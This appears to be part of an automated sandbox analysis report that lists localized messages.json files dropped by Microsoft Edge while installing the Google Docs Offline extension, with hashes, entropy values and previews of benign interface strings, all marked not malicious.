Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
